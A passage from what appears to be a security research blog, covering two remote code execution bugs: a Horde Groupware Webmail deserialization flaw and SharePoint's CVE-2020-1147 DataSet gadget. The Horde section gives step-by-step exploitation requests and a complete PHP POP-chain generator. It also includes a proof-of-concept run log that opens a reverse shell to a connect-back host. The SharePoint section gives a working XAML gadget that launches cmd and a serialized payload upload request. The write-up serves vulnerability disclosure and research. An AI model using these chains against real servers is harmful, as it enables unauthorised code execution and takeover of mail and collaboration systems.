  }
  ["_options":protected]=>
  array(16) {
    ["uri"]=>
    string(21) "phar:///tmp/poc.phar"
    ["method"]=>
    string(3) "GET"
    ["data"]=>
    NULL
    ["username"]=>
    string(0) ""
    ["password"]=>
    string(0) ""
    ["authenticationScheme"]=>
    string(3) "ANY"
    ["proxyServer"]=>
    NULL
    ["proxyPort"]=>
    NULL
    ["proxyType"]=>
    int(0)
    ["proxyUsername"]=>
    NULL
    ["proxyPassword"]=>
    NULL
    ["proxyAuthenticationScheme"]=>
    string(5) "BASIC"
    ["redirects"]=>
    int(5)
    ["timeout"]=>
    int(5)
    ["userAgent"]=>
    string(16) "Horde_Http 2.1.7"
    ["verifyPeer"]=>
    bool(true)
  }
}

Therefore if the php-curl extension IS installed, then its not possible to exploit this bug. Only non-default setups are vulnerable because they can reach the send method of the Horde_Http_Request_Fopen class at [4].


    public function send()
    {
        $method = $this->method;
        $uri = (string)$this->uri;

        //...

        // fopen() requires a protocol scheme
        if (parse_url($uri, PHP_URL_SCHEME) === null) {
            $uri = 'http://' . $uri;
        }

        //...

        $stream = fopen($uri, 'rb', false, $context);                  // triggers phar deserialization here

        //...

This is an interesting code pattern I have seen several times in PHP applications that need to implement a client downloader.

How I Missed the Phar and Portal Bugs

Playing around with the GUI and throwing in URI’s looking for an SSRF would have found this Phar deserialization issue. Also, by performing heavy code analysis, I had forgotten to audit the classes extending the Horde_Core_Block class since I couldn’t find a direct way to trigger their instantiation and usage at the time. By adding widgets into the portal interface, I would have discovered how the Horde_Core_Block classes could have been reached!

As a friend once asked me: do you even known what the GUI looks like?

Horde Groupware Webmail Edition Sort sortpref Deserialization of Untrusted Data Remote Code Execution Vulnerability

Summary

This vulnerability allows remote attackers to execute arbitrary code on affected installations of Horde Groupware Webmail Edition. Low privileged authentication is required to exploit this vulnerability.

The specific flaw exists within Sort.php. When parsing the sortpref parameter, the process does not properly validate user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of the www-data user.

Vulnerability Analysis

There are more than meets the eye to this large application (or group of applications rather). To understand this bug in depth, it will make sense to present it first and then explain the primitives required to reach and exploit it.

It’s possible to reach a second order deserialization of untrusted data in the IMP_Prefs_Sort class constructor defined in the imp/lib/Prefs/Sort.php script:

class IMP_Prefs_Sort implements ArrayAccess, IteratorAggregate
{
    /* Preference name in backend. */
    const SORTPREF = 'sortpref';

    /**
     * The sortpref value.
     *
     * @var array
     */
    protected $_sortpref = array();

    /**
     * Constructor.
     */
    public function __construct()
    {
        global $prefs;

        $sortpref = @unserialize($prefs->getValue(self::SORTPREF));             // 1
        if (is_array($sortpref)) {
            $this->_sortpref = $sortpref;
        }
    }

At first, this seems almost impossible to reach. Let’s break down what is required to exploit this vulnerability and then deal with them one by one:

1. Preference Control:

An attacker needs to be able to set the sortpref preference. These preferences are a per application setting and are stored in the database.

2. Object Instantiation:

The bug we are trying to reach is in the __construct method and the way to get that method fired, is to find a code path that calls new on the IMP_Prefs_Sort class or find a code path where we can control the class name to a new call.

3. Property Oriented Programming (POP) Chain:

We need something to unserialize that will do something dangerous, you know, like remote code execution.

The Primitives

Preference Control:

Before we can trigger the object instantiation, thus the deserialization of untrusted data, we need to be able to set the preference to a malicious serialized PHP object. One thing to note is that inside the IMP_Prefs_Sort class, the $prefs variable is set to global. This indicates to us that their must be another location where that variable can be modified.

From the GUI, Horde Groupware Webmail exposes a way to set preferences for an application using the services/prefs.php script. The issue with that however, is that a user doesn’t have control of all of the preferences. For example, a typical preference request might look like:

POST /horde/services/prefs.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
Content-Length: 132
Cookie: Horde=<sessionid>

horde_prefs_token=<csrftoken>&actionID=update_prefs&group=searches&app=imp&searches_action=1

That’s not going to cut it, we need something more specific and granular. As it turns out, several ajax handlers in different applications register the setPrefValue method from the Horde_Core_Ajax_Application_Handler_Prefs class. This particular ajax handler is not exposed from the GUI.

researcher@target:/var/www/horde$ grep -sir "Horde_Core_Ajax_Application_Handler_Prefs" .
./imp/lib/Ajax/Application.php:        $this->addHandler('Horde_Core_Ajax_Application_Handler_Prefs');
./mnemo/lib/Ajax/Application.php:        $this->addHandler('Horde_Core_Ajax_Application_Handler_Prefs');
./trean/lib/Ajax/Application.php:        $this->addHandler('Horde_Core_Ajax_Application_Handler_Prefs');
./kronolith/lib/Ajax/Application.php:        $this->addHandler('Horde_Core_Ajax_Application_Handler_Prefs');
./nag/lib/Ajax/Application.php:        $this->addHandler('Horde_Core_Ajax_Application_Handler_Prefs');

Since the IMP_Prefs_Sort class is within the imp application, I opted to use the IMP_Ajax_Application class so that I can set the preference for the imp (since preferences are application specific). Inside of the Horde_Core_Ajax_Application_Handler_Prefs class, we can see the setPrefValue method definition:

class Horde_Core_Ajax_Application_Handler_Prefs extends Horde_Core_Ajax_Application_Handler
{
    /**
     * Sets a preference value.
     *
     * Variables used:
     *   - pref: (string) The preference name.
     *   - value: (mixed) The preference value.
     *
     * @return boolean  True on success.
     */
    public function setPrefValue()
    {
        return $GLOBALS['prefs']->setValue(
            $this->vars->pref,
            $this->vars->value
        );
    }

}

Therefore, in order for us to set the sortpref preference for the imp application, we can use the following request:

GET /horde/services/ajax.php/imp/setPrefValue?pref=sortpref&value=junk&token=<csrftoken> HTTP/1.1
Host: <target>
Cookie: Horde=<sessionid>

Which returns the following response on success:

HTTP/1.1 200 OK
...
Content-Length: 29
Content-Type: application/json

/*-secure-{"response":true}*/

After using the Horde_Core_Ajax_Application_Handler_Prefs ajax handler, we can view the preference in the database:

MariaDB [horde]> select pref_value from horde_prefs where pref_uid='hordeuser' and pref_name='sortpref';
+------------+
| pref_value |
+------------+
| junk       |
+------------+
1 row in set (0.00 sec)

Object Instantiation:

Lucky for us, it’s also possible to reach the constructor of the IMP_Prefs_Sort class because I found an ajax handler called imple that will allow me to instantiate a class. The limitation here is that I can only instantiate a class with an empty constructor. The imple method is defined inside of the /usr/share/php/Horde/Core/Ajax/Application/Handler/Imple.php script:

class Horde_Core_Ajax_Application_Handler_Imple extends Horde_Core_Ajax_Application_Handler
{
    /**
     * AJAX action: Run imple.
     *
     * Parameters needed:
     *   - app: (string) Imple application.
     *   - imple: (string) Class name of imple.
     */
    public function imple()
    {
        global $injector, $registry;

        $pushed = $registry->pushApp($this->vars->app);
        $imple = $injector->getInstance('Horde_Core_Factory_Imple')->create($this->vars->imple, array(), true);       // 1

        $result = $imple->handle($this->vars);

        if ($pushed) {
            $registry->popApp();
        }

        return $result;
    }

}

The code calls create using the attacker controlled $this->vars->imple which becomes the driver for a new class. Inside of the /usr/share/php/Horde/Core/Factory/Imple.php script we can see the definition of Horde_Core_Factory_Imple that reveals the instantiation:

class Horde_Core_Factory_Imple extends Horde_Core_Factory_Base
{
    /**
     * Attempts to return a concrete Imple instance.
     *
     * @param string $driver     The driver name.
     * @param array $params      A hash containing any additional
     *                           configuration or parameters a subclass might
     *                           need.
     * @param boolean $noattach  Don't attach on creation.
     *
     * @return Horde_Core_Ajax_Imple  The newly created instance.
     * @throws Horde_Exception
     */
    public function create($driver, array $params = array(),
                           $noattach = false)
    {
        $class = $this->_getDriverName($driver, 'Horde_Core_Ajax_Imple');        // 2

        $ob = new $class($params);                                               // 4
    protected function _getDriverName($driver, $base)
    {
        /* Intelligent loading... if we see at least one separator character
         * in the driver name, guess that this is a full classname so try that
         * option first. */
        $search = (strpbrk($driver, '\\_') === false)
            ? array('driver', 'class')
            : array('class', 'driver');

        foreach ($search as $val) {
            switch ($val) {
            case 'class':
                if (class_exists($driver)) {
                    return $driver                                                // 3

Inside of the Horde_Core_Factory_Base class, the _getDriverName method is implemented and at [3] this method returns the attacker supplied $driver variable if it’s a valid class (it can be any class in scope). Finally at [4] object instantiation is triggered using the empty constructor (since $params is empty).

The trigger for the object instantiation and thus, the deserialization of untrusted data is:

GET /horde/services/ajax.php/imp/imple?imple=IMP_Prefs_Sort&app=imp&token=<csrftoken> HTTP/1.1
Host: <target>
Cookie: Horde=<sessionid>

The POP Chain

The final piece to the puzzle, is a serialized PHP object chain that will execute arbitrary remote code. My initial proof of concept used the Horde_Auth_Passwd class to rename a file on the local filesystem for remote code execution. However there were several limitations to this technique such as needing to upload a file onto the target system (to rename) and knowledge of the webroot path.

In the end I decided to use the Horde_Kolab_Server_Decorator_Clean class. This the same POP chain as used in CVE-2014-1691 by EgiX but I had to make several changes due to the way php 7+ uses Serializable interfaces and the changes that occured to the classes over 5+ years.

One of the major changes to the chain was that the Horde_Prefs_Scope class implements Serializable. This could be compared to Java’s Externalizable interface, whereby it allows a programmer to serialize only certain properties. Lucky for us, the properties that we are (ab)using are serialized! Let’s break down this monster of a chain.

class Horde_Kolab_Server_Decorator_Clean {

    public function delete($guid)
    {
        $this->_server->delete($guid);                                     // 3
        if (in_array($guid, $this->_added)) {
            $this->_added = array_diff($this->_added, array($guid));
        }
    }

    public function cleanup()
    {
        foreach ($this->_added as $guid) {
            $this->delete($guid);                                          // 2
        }
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        try {
            $this->cleanup();                                              // 1
        } catch (Horde_Kolab_Server_Exception $e) {
        }
    }

}

The __destruct method calls cleanup at [1], which calls delete at [2] and then $this->_server->delete is called at [3].

class Horde_Prefs_Identity {

    public function save()
    {
        $this->_prefs->setValue($this->_prefnames['identities'], serialize($this->_identities));   // 6
        $this->_prefs->setValue($this->_prefnames['default_identity'], $this->_default);
    }

    public function delete($identity)
    {
        $deleted = array_splice($this->_identities, $identity, 1);

        if (!empty($deleted)) {                                                                    // 4
            foreach (array_keys($this->_identities) as $id) {
                if ($this->setDefault($id)) {
                    break;
                }
            }
            $this->save();                                                                         // 5
        }

        return reset($deleted);
    }
}

We can set the $this->_server property to Horde_Prefs_Identity to reach its delete method. The call to array_splice needs to return a value so that at [4] we can reach the save call at [5]. To achieve this, I just set the $this->_identities property on the Horde_Prefs_Identity class. Once save is called, we can reach [6] which is a call to setValue on a property.

class Horde_Prefs implements ArrayAccess
{
    /* The default scope name. */
    const DEFAULT_SCOPE = 'horde';

    public function setValue($pref, $val, array $opts = array())
    {
        /* Exit early if preference doesn't exist or is locked. */
        if (!($scope = $this->_getScope($pref)) ||                                // 7
            (empty($opts['force']) &&
             $this->_scopes[$scope]->isLocked($pref))) {
            return false;
        }

        // Check to see if the value exceeds the allowable storage limit.
        if ($this->_opts['sizecallback'] &&
            call_user_func($this->_opts['sizecallback'], $pref, strlen($val))) {  // 9
            return false;
        }
        ...
    }

    protected function _getScope($pref)
    {
        $this->_loadScope($this->_scope);

        if ($this->_scopes[$this->_scope]->exists($pref)) {
            return $this->_scope;
        } elseif ($this->_scope != self::DEFAULT_SCOPE) {
            $this->_loadScope(self::DEFAULT_SCOPE);
            if ($this->_scopes[self::DEFAULT_SCOPE]->exists($pref)) {
                return self::DEFAULT_SCOPE;                                       // 8
            }
        }

        return null;
    }

    protected function _loadScope($scope)
    {
        // Return if we've already loaded these prefs.
        if (!empty($this->_scopes[$scope])) {
            return;
        }
        ...
    }
}

At [7] setValue will call _getScope which will return the default scope at [8]. Once that check is passed, we can reach the call_user_func method at [9] with an attacker controlled _opts['sizecallback']. Leveraging this, we can target the readXMLConfig method of the Horde_Config class for an unprotected eval() at [10].

class Horde_Config
{

    public function readXMLConfig($custom_conf = null)
    {
        if (!is_null($this->_xmlConfigTree) && !$custom_conf) {
            return $this->_xmlConfigTree;
        }

        $path = $GLOBALS['registry']->get('fileroot', $this->_app) . '/config';

        if ($custom_conf) {
            $this->_currentConfig = $custom_conf;
        } else {
            /* Fetch the current conf.php contents. */
            @eval($this->getPHPConfig());                                             // 10
            if (isset($conf)) {
                $this->_currentConfig = $conf;
            }
        }
        ...
    }

    public function getPHPConfig()
    {
        if (!is_null($this->_oldConfig)) {
            return $this->_oldConfig;
        }
        ...
    }
    ...
}

It was not lost on me, that we are (ab)using the Horde_Prefs class for the deserialization chain either!

Proof of Concept

Here is the completed POP chain I used:

<?php

class Horde_Config
{
   protected $_oldConfig = "phpinfo();die;";
}

class Horde_Prefs_Scope implements Serializable
{
    protected $_prefs = array(1);
    protected $scope;

    public function serialize()
    {
        return json_encode(array(
            $this->scope,
            $this->_prefs
        ));
    }

    public function unserialize($data)
    {
        list($this->scope, $this->_prefs) = json_decode($data, true);
    }
}

class Horde_Prefs
{
   protected $_opts, $_scopes;

   function __construct()
   {
      $this->_opts['sizecallback'] = array(new Horde_Config, 'readXMLConfig');
      $this->_scopes['horde'] = new Horde_Prefs_Scope;
   }
}

class Horde_Prefs_Identity
{

   protected $_prefs, $_prefnames, $_identities;
   function __construct()
   {
      $this->_identities = array(0);
      $this->_prefs = new Horde_Prefs;
      $this->_prefnames['identities'] = 0;
   }
}

class Horde_Kolab_Server_Decorator_Clean
{
   private $_server, $_added;
   function __construct()
   {
      $this->_added = array(0);
      $this->_server = new Horde_Prefs_Identity;
   }
}

$popchain = serialize(new Horde_Kolab_Server_Decorator_Clean);
echo $popchain;

…and finally icing on the cake:

saturn:~ mr_me$ ./poc.py 
(+) usage ./poc.py <target> <path> <user:pass> <connectback:port>
(+) eg: ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337

saturn:~ mr_me$ ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337
(+) targeting http://172.16.175.145/horde/
(+) obtained session iefankvohbl8og0mtaadm3efb6
(+) inserted our php object
(+) triggering deserialization...
(+) starting handler on port 1337
(+) connection from 172.16.175.145
(+) pop thy shell!
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
/var/www/horde/services
uname -a
Linux target 4.9.0-11-amd64 #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20) x86_64 GNU/Linux
exit
*** Connection closed by remote host ***
(+) repaired the target!

You can download the complete exploit here.

Conclusions

Complex applications need both a white-box review and a black-box review to provide complete context to an auditor. Knowledge if the underlying framework and code is nice, but it can be very difficult to find the code path to a bug if context and understanding is not achieved. Continuing to discover and develop black-box finger printing techniques is very important for subtle and high impact vulnerability classes.

References

SharePoint and Pwn :: Remote Code Execution Against SharePoint Server Abusing DataSet

20 July 2020 at 14:00

SharePoint

When CVE-2020-1147 was released last week I was curious as to how this vulnerability manifested and how an attacker might achieve remote code execution with it. Since I’m somewhat familiar with SharePoint Server and .net, I decided to take a look.

TL;DR; I share the breakdown of CVE-2020-1147 which was discovered independently by Oleksandr Mirosh, Markus Wulftange and Jonathan Birch. I share the details on how it can be leveraged against a SharePoint Server instance to gain remote code execution as a low privileged user. Please note: I am not providing a full exploit, so if that’s your jam, move along.

One of the things that stood out to me, was that Microsoft published Security Guidence related to this bug, quoting Microsoft:

If the incoming XML data contains an object whose type is not in this list… An exception is thrown. The deserialization operation fails. When loading XML into an existing DataSet or DataTable instance, the existing column definitions are also taken into account. If the table already contains a column definition of a custom type, that type is temporarily added to the allow list for the duration of the XML deserialization operation.

Interestingly, it was possible to specify types and it was possible to overwrite column definitions. That was the key giveaway for me, let’s take a look at how the DataSet object is created:

Understanding the DataSet Object

A DataSet contains a Datatable with DataColumn(s) and DataRow(s). More importantly, it implements the ISerializable interface meaning that it can be serialized with XmlSerializer. Let’s start by creating a DataTable:

        static void Main(string[] args)
        {
            // instantiate the table
            DataTable exptable = new DataTable("exp table");
			
            // make a column and set type information and append to the table
            DataColumn dc = new DataColumn("ObjectDataProviderCol");
            dc.DataType = typeof(ObjectDataProvider);
            exptable.Columns.Add(dc);
			
            // make a row and set an object instance and append to the table
            DataRow row = exptable.NewRow();
            row["ObjectDataProviderCol"] = new ObjectDataProvider();
            exptable.Rows.Add(row);
			
            // dump the xml schema
            exptable.WriteXmlSchema("c:/poc-schema.xml");
        }		

Using the WriteXmlSchema method, It’s possible to write out the schema definition. That code produces the following:

<?xml version="1.0" standalone="yes"?>
<xs:schema id="NewDataSet" xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
  <xs:element name="NewDataSet" msdata:IsDataSet="true" msdata:MainDataTable="exp_x0020_table" msdata:UseCurrentLocale="true">
    <xs:complexType>
      <xs:choice minOccurs="0" maxOccurs="unbounded">
        <xs:element name="exp_x0020_table">
          <xs:complexType>
            <xs:sequence>
              <xs:element name="ObjectDataProviderCol" msdata:DataType="System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" type="xs:anyType" minOccurs="0" />
            </xs:sequence>
          </xs:complexType>
        </xs:element>
      </xs:choice>
    </xs:complexType>
  </xs:element>
</xs:schema>

Looking into the code of DataSet it’s revealed that it exposes its own serialization methods (wrapped over XmlSerializer) using WriteXml and ReadXML:

System.Data.DataSet.ReadXml(XmlReader reader, Boolean denyResolving)
  System.Data.DataSet.ReadXmlDiffgram(XmlReader reader)
    System.Data.XmlDataLoader.LoadData(XmlReader reader)
      System.Data.XmlDataLoader.LoadTable(DataTable table, Boolean isNested)
        System.Data.XmlDataLoader.LoadColumn(DataColumn column, Object[] foundColumns)
          System.Data.DataColumn.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib)
            System.Data.Common.ObjectStorage.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib)
              System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader)

Now, all that’s left to do is add the table to a dataset and serialize it up:

            DataSet ds = new DataSet("poc");
            ds.Tables.Add(exptable);
            using (var writer = new StringWriter())
            {
                ds.WriteXml(writer);
                Console.WriteLine(writer.ToString());
            }

These serialization methods retain schema types and reconstruct attacker influenced types at runtime using a single DataSet expected type in the instantiated XmlSerializer object graph.

The DataSet Gadget

Below is an example of such a gadget that can be crafted, note that this is not to be confused with the DataSet gadgets in ysoserial:

<DataSet>
  <xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="somedataset">
    <xs:element name="somedataset" msdata:IsDataSet="true" msdata:UseCurrentLocale="true">
      <xs:complexType>
        <xs:choice minOccurs="0" maxOccurs="unbounded">
          <xs:element name="Exp_x0020_Table">
            <xs:complexType>
              <xs:sequence>
                <xs:element name="pwn" msdata:DataType="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:anyType" minOccurs="0"/>
              </xs:sequence>
            </xs:complexType>
          </xs:element>
        </xs:choice>
      </xs:complexType>
    </xs:element>
  </xs:schema>
  <diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
    <somedataset>
      <Exp_x0020_Table diffgr:id="Exp Table1" msdata:rowOrder="0" diffgr:hasChanges="inserted">
        <pwn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
          <ExpandedElement/>
          <ProjectedProperty0>
            <MethodName>Parse</MethodName>
            <MethodParameters>
              <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string"><![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider x:Key="LaunchCmd" ObjectType="{x:Type Diag:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><System:String>cmd</System:String><System:String>/c mspaint </System:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]></anyType>
            </MethodParameters>
            <ObjectInstance xsi:type="XamlReader"/>
          </ProjectedProperty0>
        </pwn>
      </Exp_x0020_Table>
    </somedataset>
  </diffgr:diffgram>
</DataSet>

This gadget chain will call an arbitrary static method on a Type which contains no interface members. Here I used the notorious XamlReader.Parse to load malicious Xaml to execute a system command. I used the ExpandedWrapper class to load two different types as mentioned by @pwntester’s amazing research.

It can be leveraged in a number of sinks, such as:

XmlSerializer ser = new XmlSerializer(typeof(DataSet));
Stream reader = new FileStream("c:/poc.xml", FileMode.Open);
ser.Deserialize(reader);		

Many applications consider DataSet to be safe, so even if the expected type can’t be controlled directly to XmlSerializer, DataSet is typically used in the object graph. However, the most interesting sink is the DataSet.ReadXml to trigger code execution:

DataSet ds = new DataSet();
ds.ReadXml("c:/poc.xml");		

Applying the Gadget to SharePoint Server

If we take a look at ZDI-20-874, the advisory mentions the Microsoft.PerformancePoint.Scorecards.Client.ExcelDataSet control which can be leveraged for remote code execution. This immediately plagued my interest since it had the name (DataSet) in its class name. Let’s take a look at SharePoint’s default web.config file:

      <controls>
        <add tagPrefix="asp" namespace="System.Web.UI" assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" />
        <add tagPrefix="SharePoint" namespace="Microsoft.SharePoint.WebControls" assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" />
        <add tagPrefix="WebPartPages" namespace="Microsoft.SharePoint.WebPartPages" assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" />
        <add tagPrefix="PWA" namespace="Microsoft.Office.Project.PWA.CommonControls" assembly="Microsoft.Office.Project.Server.PWA, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" />
        <add tagPrefix="spsswc" namespace="Microsoft.Office.Server.Search.WebControls" assembly="Microsoft.Office.Server.Search, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" />
      </controls>

Under the controls tag, we can see that a prefix doesn’t exist for the Microsoft.PerformancePoint.Scorecards namespace. However, if we check the SafeControl tags, it is indeed listed with all types from that namespace permitted.

<configuration>
  <configSections>
  <SharePoint>
    <SafeControls>
      <SafeControl Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" Namespace="Microsoft.PerformancePoint.Scorecards" TypeName="*" />
	  ...

Now that we know we can instantiate classes from that namespace, let’s dive into the code to inspect the ExcelDataSet type:

namespace Microsoft.PerformancePoint.Scorecards
{

	[Serializable]
	public class ExcelDataSet
	{

The first thing I noticed is that it’s serializable, so I know that it can infact be instantiated as a control and the default constructor will be called along with any public setters that are not marked with the System.Xml.Serialization.XmlIgnoreAttribute attribute. SharePoint uses XmlSerializer for creating objects from controls so anywhere in the code where attacker supplied data can flow into TemplateControl.ParseControl, the ExcelDataSet type can be leveraged.

One of the properties that stood out was the DataTable property since it contains a public setter and uses the type System.Data.DataTable. However, on closer inspection, we can see that the XmlIgnore attribute is being used, so we can’t trigger the deserialization using this setter.

[XmlIgnore]
public DataTable DataTable
{
	get
	{
		if (this.dataTable == null && this.compressedDataTable != null)
		{
			this.dataTable = (Helper.GetObjectFromCompressedBase64String(this.compressedDataTable, ExcelDataSet.ExpectedSerializationTypes) as DataTable);
			if (this.dataTable == null)
			{
				this.compressedDataTable = null;
			}
		}
		return this.dataTable;
	}
	set
	{
		this.dataTable = value;
		this.compressedDataTable = null;
	}
}

The above code does reveal the partial answer though, the getter calls GetObjectFromCompressedBase64String using the compressedDataTable property. This method will decode the supplied base64, decompress the binary formatter payload and call BinaryFormatter.Deserialize with it. However, the code contains expected types for the deserialization, one of which is DataTable, So we can’t just stuff a generated TypeConfuseDelegate here.

		private static readonly Type[] ExpectedSerializationTypes = new Type[]
		{
			typeof(DataTable),
			typeof(Version)
		};

Inspecting the CompressedDataTable property, we can see that we have no issues setting the compressedDataTable member since it’s using System.Xml.Serialization.XmlElementAttribute attribute.

[XmlElement]
public string CompressedDataTable
{
	get
	{
		if (this.compressedDataTable == null && this.dataTable != null)
		{
			this.compressedDataTable = Helper.GetCompressedBase64StringFromObject(this.dataTable);
		}
		return this.compressedDataTable;
	}
	set
	{
		this.compressedDataTable = value;
		this.dataTable = null;
	}
}

Putting it (almost all) together, I could register a prefix and instantiate the control with a base64 encoded, compressed and serialized, albeit, dangerous DataTable:

PUT /poc.aspx HTTP/1.1
Host: <target>
Authorization: <ntlm auth header>
Content-Length: 1688

<%@ Register TagPrefix="escape" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c"%>
<escape:ExcelDataSet runat="server" CompressedDataTable="H4sIAAAAAAAEALVWW2/bNhROegmadtvbHvYm6KFPtmTHSdoqlgs06YZgcRPE2RqgKDKaOrbZSKRGUraMYv9o+43doUTZju2mabHJgESfOw+/80kbmxsbG5/wMk9zfXcPb296U6Uh8Y6IJjXnd5CKCR7ueg3zqzmHWawzCSGHTEsS15yzrB8z+itML8Q18LD/7BnZo3v7zRetXWg8f/HQBP9xIWZxuyD9GO6j5qfZP+8cEqEZH9qU25dJ3KMjSMgTXB2xweAXSZL7m5s/2GDWztS8bUJtPcDb34/aL/Mkdsa2brfpNVwHOBURhg7dTA/qzX33Zef7x+1cBapI4KAHV6Hrlosgx/VI6zTw/clk4k1anpBDf6fRaPqX3ZOyqMo2URHuAANLbqOpesKoFEoMdJ2KJEC7emnlYlbHMXkhhgS4djhJIHRf5+lV3mjsNK6KTpRmpSEGSGPIL6YpWGkpV/BnhruaC9fFTSfcdcrUQdFnjBK6i2fRAzlmFJR3zDVITmIPayE8guitJGkK8o+dd++sw1vGIzFRXpfI6yz1LkkSnwOJQCIGJChMSzS2/Gc8JZgIef0N4Gk1+4PW8719ErX2d6G19762nLyo+rT/Aag2yzMpxuz/LeF9zVnXsf9gNFxHFweC50b41BzO7LQ0kUPQb3AbKiUUDDQTxk8pzSRiExHtz9Hgr8KhkC1DpxBagHwGiEokYPIr0LNSjpXZdw906GqZzUvsEsZnw7uK4crsNwWHmZSY40RQYiyLKHeAOB0JbPTSvhOSV/8y3heZgeq8G3fZd9mvYlI7Ww+RMv553I6QXYYyKB8k+ZbRtj5liC/5VInq46blhIXOV3tZ6qhji2RR0WynEDZnfZZicipxEoouWdMRUYcjwoeA3WJcgdTYrHmPkR5mhMe+zHh1DKEJgmxOk9EdeHKRoSpyeW1R5y8qcZbNWEOEC2QePW0saFFfTv2xLcLBmoNyfuZM5N6IiD5d0CMRmTnqnBGpoO0vSNZYohFqkArVDS3q7YQupMXtB0pLfK24naexPjgHJTJJ4YhRQ0JETqv3iu2RxYM3w4OHePAnjA9y07R9P8eN+OkCkc06/XUxKreSt0KXxrLOKy6x0gOiFCT9eBomigoZs37ldcTIcL2PZ1RcKM2omvurQuc+HeoD04ZVcnbyADkwdE9IxunoMMGBLY3K99HHPCg6a4IH6IPkqv5ynflB4SsL+VDfksFbPr3KtKw76BXHZIQ0iYzcX1Gstfapg5xFnc+7+F9RzBrbmWoVPEbV9i3sbmLVvwWsbf+WOWr7OPMzrlwiGEuWN5mo7S9xY+eB+dZa+gYzX15bV13yQUh8MG4erzIWR9tX5zBmxsR8Xz7C65791vxkryf/AlZRMe+GCgAA" />

However, I couldn’t figure out a way to trigger the DataTable property getter. I know I needed a way to use the DataSet, but I just didn’t know how too.

Many Paths Lead to Rome

The fustration! After going for a walk with my dog, I decided to think about this differently and I asked myself what other sinks are available. Then I remembered that the DataSet.ReadXml sink was also a source of trouble, so I checked the code again and found this valid code path:

Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.GetDataSet()
  Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.PopulateDataSetFromCache(DataSet)

Inside of the ContactLinksSuggestionsMicroView class we can see the GetDataSet method:

		protected override DataSet GetDataSet()
		{
			base.StopProcessingRequestIfNotNeeded();
			if (!this.Page.IsPostBack || this.Hidden)                                                                       // 1
			{
				return null;
			}
			DataSet dataSet = new DataSet();
			DataTable dataTable = dataSet.Tables.Add();
			dataTable.Columns.Add("PreferredName", typeof(string));
			dataTable.Columns.Add("Weight", typeof(double));
			dataTable.Columns.Add("UserID", typeof(string));
			dataTable.Columns.Add("Email", typeof(string));
			dataTable.Columns.Add("PageURL", typeof(string));
			dataTable.Columns.Add("PictureURL", typeof(string));
			dataTable.Columns.Add("Title", typeof(string));
			dataTable.Columns.Add("Department", typeof(string));
			dataTable.Columns.Add("SourceMask", typeof(int));
			if (this.IsInitialPostBack)                                                                                      // 2
			{
				this.PopulateDataSetFromSuggestions(dataSet);
			}
			else
			{
				this.PopulateDataSetFromCache(dataSet);                                                                  // 3
			}
			this.m_strJavascript.AppendLine("var user = new Object();");
			foreach (object obj in dataSet.Tables[0].Rows)
			{
				DataRow dataRow = (DataRow)obj;
				string scriptLiteralToEncode = (string)dataRow["UserID"];
				int num = (int)dataRow["SourceMask"];
				this.m_strJavascript.Append("user['");
				this.m_strJavascript.Append(SPHttpUtility.EcmaScriptStringLiteralEncode(scriptLiteralToEncode));
				this.m_strJavascript.Append("'] = ");
				this.m_strJavascript.Append(num.ToString(CultureInfo.CurrentCulture));
				this.m_strJavascript.AppendLine(";");
			}
			StringWriter stringWriter = new StringWriter(CultureInfo.CurrentCulture);
			dataSet.WriteXml(stringWriter);
			SPPageContentManager.RegisterHiddenField(this.Page, "__SUGGESTIONSCACHE__", stringWriter.ToString());
			return dataSet;
		}

